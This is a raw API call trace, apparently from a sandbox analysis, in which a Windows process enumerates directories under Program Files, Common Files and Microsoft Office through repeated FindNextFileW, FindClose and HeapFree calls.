	[0173.481] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1
	[0173.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.486] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0173.489] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.489] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0173.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.490] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0173.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.490] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0173.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.491] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0173.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.491] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0173.492] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.492] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0173.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.493] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0173.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.494] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0173.494] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.494] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefcf5b24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefcf5b24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0173.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.495] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0173.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.495] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0
	[0173.495] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0173.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.495] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0173.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.499] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0173.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.501] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0173.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.501] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0173.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.502] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1
	[0173.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.503] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0173.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.503] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0173.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.504] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1
	[0173.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.508] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0173.508] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0173.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.508] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0173.508] FindClose (in: hFindFile=0x76f528 | out: hFindFile=0x76f528) returned 1
	[0173.508] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.508] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0173.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.510] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0173.510] FindClose (in: hFindFile=0x76f268 | out: hFindFile=0x76f268) returned 1
	[0173.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.512] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0173.512] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0173.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.512] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0173.512] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0173.512] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.514] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1
	[0173.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.516] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0173.516] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0173.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.516] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0
	[0173.516] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0173.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0173.516] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1
	[0173.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.753] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0173.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.754] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0173.754] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0173.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.754] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2fae918 | out: lpFindFileData=0x2fae918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0173.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0173.755] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0173.755] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0173.755] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.757] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0173.757] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0173.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.757] FindNextFileW (in: hFindFile=0x76f528, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1
	[0173.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
